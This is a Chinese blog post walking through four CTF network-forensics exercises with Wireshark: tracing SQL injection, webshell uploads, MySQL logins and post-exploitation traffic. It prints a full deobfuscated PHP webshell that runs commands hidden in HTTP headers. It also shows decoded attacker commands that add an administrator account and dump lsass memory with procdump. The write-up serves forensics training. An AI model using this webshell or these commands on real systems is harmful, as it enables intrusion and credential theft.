目录
题目一(1.pcap)
题目二(2.pcap)
题目三(3.pcap)
题目四(4.pcap)
CTF流量分析经典例题详解-CSDN博客
本文章涉及的所有题目附件下载地址: 链接:
https://pan.baidu.com/s/18mWo5vn1zp_XbmcQrMOKRA 提取码:hrc4
声明:这里的例题都是已经总结好的,我只是在本篇中进行学习和复现
题目一(1.pcap)
题目来源:2018信息安全铁人三项数据赛
题目要求:
1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
4.第一个受害主机网站数据库的名字
首先我们使用Wireshark打开这个数据包
注:这个包比较大,打开可能会话费一点时间
打开之后可以看到里面的内容确实是非常的多,因为该题目并不需要找flag,因此也就不需要去使用查找来查找flag了,而且题目中已经给了我们要求
(1)那么看看第一个,寻找受害主机的网卡ip地址
根据后面的问题该包中应该有黑客试试SQL注入的过程,既然是SQL注入那么应该是有使用HTTP协议参与,那么我们试着筛选一下HTTP协议的数据包
可以看到,这里始终是202.1.1.2向192.168.1.8进行GET请求,192.168.1.8对202.1.1.2的请求包做出相应,并且每次GET请求的内容还是不同的,从这些方面可以看出来,攻击者的ip为202.1.1.2受害者的ip地址为192.168.1.8
这里就回答了第一个问题:受害者的网卡ip为:192.168.1.8
(2)第二个问题,黑客对URL的哪一个参数实施了SQL注入
我们再次分析一下这个包,看到下面时,SQL注入已经显现了出来,根据GET后面传输的数据可以看出黑客注入的参数
第二个问题的答案就是:黑客传入的参数为list[select]
(3) 第三个问题,第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
既然需要找受害主机网站数据库的表前缀,那么我们试着对攻击者的注入行为进行一个数据流追踪
现在第三个问题的答案也就出来了:可以清楚的从追踪的HTTP数据流中看到数据的表前缀应该为:ajtuc_
(4)最后一个问题,第一个受害主机网站数据库的名字
现在就剩下最后一个问题了,要找出受害网站数据库的名称,这也很简单的,使用同样的方追踪最后一次SQL注入的数据流,但是好像里面并没有数据库名称,这时因为上面我们选择了一个任意的一个数据包,里面可以还未正在注入出数据库名
注:这里选取的数据包是进行最后一次SQL注入的数据包,因为一次成功的SQL注入,最后一次注入一般都是已经知道数据库名称、数据库中的表名称、表中的字段名称了
其实在下面的HTTP包中我么已经可以看到一个疑似数据库名的了,稳妥起见我们还是将GET传入的参数进行URL解码
可以看到解码后的数据库名就很明显了
因此最后一个问题的答案就是joomla
注:既然题目问的都是第一次的我们可以使用下面的语句来缩小查找范围:
(ip.addr==202.1.1.2 || ip.addr == 192.168.1.8) && http
题目二(2.pcap)
题目来源:2018信息安全铁人三项数据赛
题目要求:
1.黑客第一次获得的php木马的密码是什么 (POST)
2.黑客第二次上传php木马是什么时间 (POST)
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
首先我们使用Wireshark打开这个数据包
这几个题目之间是有关联的,因此我们已经将攻击者和受害者的ip地址知道了,这里可以直接来筛选以缩小查找范围
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http
(1)直接看第一个问题,黑客第一次获得的php木马的密码是什么 (POST)
php木马的密码应该是黑客使用POST传参传递到客户端的一个恶意php文件,首先必须要知道这个文件是哪个,那么我们分析了一下这些数据包发现有个很可疑的文件
点开该文件后,会发现这正是黑客上传的php木马文件,同样可以看到该木马的密码为zzz
因此第一个问题的答案就是zzz
(2)再来看看第二个问题,黑客第二次上传php木马是什么时间 (POST)
第二次上传木马的时间,那么首先我们需要找到第二次上传的木马,分析了一些数据包后
分析这几个包的区别之后发现,这个z2非常可疑,因此对它里面的内容进行了复制,然后使用HXD打开
将文件保存为php,但是代码经过混淆过的,在代码末尾加上下面两句代码
var_dump($j);
var_dump($x);
将该文件上传到kail中,然后运行php进行解混淆,发现这就是木马
由此可确定这个引人注目的包上传了第二个木马 在Wireshark中查看第二个包的上传时间
因此第二题的答案:上传时间为:17:20:44.248365
(3)最后一个问题,第二次上传的木马通过HTTP协议中的哪个头传递数据
我们将上面的目php木马文件代码美化后:
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr); //这里会分解
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
//一共有三个分组,
if ($q && $m) {
@session_start();
$s =& $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][4];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
可以看到
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
这两个参数和HTTP有关
我们再分析一个这个数据包,发现可以看到许多请求footer.php的页面,点开一个查看详情
会发现这里的referer很可疑,而accept-language是正常的因此第三个问题的答案也就呼之欲出了
第二次上传的木马是通过HTTP协议中的referer头
题目三(3.pcap)
题目来源:2018信息安全铁人三项数据赛
题目要求:
1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
2.php代理第一次被使用时最先连接了哪个IP地址
首先我们使用Wireshark打开这个数据包
(1)可以看到第一个问题问的是mysql的用户名和密码的哈希值
那么我们先来筛选一下mysql服务
tcp contains "mysql" && mysql
通过筛选的结果可以看到,这个数据包中有很多登录请求,并且用户名为admin,第一个问题的答案就出现了一半了,还需要正确的哈希密码,我们可以想一下,只有在输入了正确的用户名和密码后才会登录成功,因此我们打开最后一次登录的请求包
这样就得到了正确的用户名和密码:admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
(2)来看看第二个问题问的啥,php代理第一次被使用时最先连接了哪个IP地址
首先我们还是过滤一下ip地址与协议
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http
然后对这些数据包进行分析
发现了这个比较可疑的数据包,因此它这里有连接的操作,因此第二个问题的答案就出来了,
连接的ip地址为:4.2.2.2
题目四(4.pcap)
题目来源:2018信息安全铁人三项数据赛
题目要求:
1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
2.黑客在内网主机中添加的用户名和密码是多少
3.黑客从内网服务器中下载下来的文件名
首先我们使用Wireshark打开这个数据包
(1)首先是第一个问题:黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
为确定黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候,我们继续进行过滤,源ip地址和目标ip地址我们都是知道的,因此直接筛选缩小范围,然后就是如果黑客需要拿取目标主机中的文件,就会指定dir或者ls命令来列出当前目录中有那些文件,因此我们还需要过滤字符ls和dir
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")
筛选的结果很明显可以看出来,黑客确实使用了ls和dir这两个命令
我们可以分别对这两个数据包进行流量追踪,看其是否可以执行成功
可以看懂ls命令并没有执行成功
可以看到dir命令是执行成功的,因此我们可以判断出目标主机是windows操作系统的,并且本题的答案也就出来了,也就是这个数据包执行的时间: 2018 18:36:59.770782000
(2)第二个问题是黑客在内网主机中添加的用户名和密码是多少
根据提示我们可以使用以下命令来查看攻击者如何实施的攻击,也就有可能能从中找到黑客添加的用户名和密码
ip.addr == 192.168.2.20 && http
从这里可以看到黑客给名为sh.php文件中写入了后门
根据提示我们可以使用以下命令来仅对黑客执行的操作的数据包进行过滤分析
ip.src == 192.168.2.20 && http
在18:50:09.344660时,我们发现可疑操作,我们发现一条可疑数据,判断黑客应该是执行了net user
的命令
然后在18:50:42.908737发现黑客再次执行了net user命令 此时回显为:
看来黑客成功添加了管理员用户kaka 确定了大致的作案时间
根据之前的判断,我们可以知道 18:49:27.767754时,不存在kaka用户 18:50:42.908737时,kaka用户已成为管理员 所以可以断定作案时间点在这段时间内
在此期间,一共4个POST请求,我们挨个查看,果不其然,在第一个POST中就发现了问题
Y2QvZCJDOlxwaHBTdHVkeVxXV1dcYjJldm9sdXRpb25caW5zdGFsbFx0ZXN0XCImbmV0IHVzZXIg
a2FrYSBrYWthIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0=
解码后
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]
可以明显看到
net user kaka kaka /add
于是可以断定,用户名和密码均为kaka
(3)最后一个问题问黑客从内网服务器中下载了的文件名
最后一题既然是下载,应该是利用中国菜刀进行下载了,那我们只过滤出post流量,查看命令即可
ip.dst == 192.168.2.20 && http.request.method==POST
然后我们在数据包的最后发现如下数据
我们将其进行base64解码后的结果:
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E]
可以看到其用了procdump.exe,并且发现了文件
将其解码:
C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp
可以看到我们最后一个问题的答案出现了:lsass.exe_180208_185247.dmp
到此。四个数据分析题就演示完毕了(^▽^)